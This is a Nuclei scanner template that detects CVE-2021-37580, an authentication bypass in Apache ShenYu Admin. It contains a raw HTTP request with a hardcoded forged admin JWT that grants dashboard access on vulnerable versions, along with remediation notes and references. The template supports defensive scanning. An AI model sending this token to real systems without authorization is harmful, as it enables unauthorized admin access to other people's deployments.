nuclei-templates/http/cves/2021/CVE-2021-37580.yaml

48 lines
1.7 KiB
YAML

id: CVE-2021-37580
info:
name: Apache ShenYu Admin JWT - Authentication Bypass
author: pdteam
severity: critical
description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
remediation: |
Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-37580
- https://github.com/fengwenhua/CVE-2021-37580
- https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
- http://www.openwall.com/lists/oss-security/2021/11/16/1
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-37580
cwe-id: CWE-287
epss-score: 0.92515
epss-percentile: 0.98702
cpe: cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: shenyu
tags: cve,cve2021,apache,jwt,shenyu
http:
- raw:
- |
GET /dashboardUser HTTP/1.1
Host: {{Hostname}}
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk
matchers-condition: and
matchers:
- type: word
words:
- 'query success'
- '"userName":"admin"'
- '"code":200'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100b6e9316287cc95149ee19c71d04a17628b50472d3026378f6e867f6c6588e79b0221008699cadd16fa48f345c6e274429540efaec574c68bac9d0cdd7947e019983b22:922c64590222798bb761d5b6d8e72950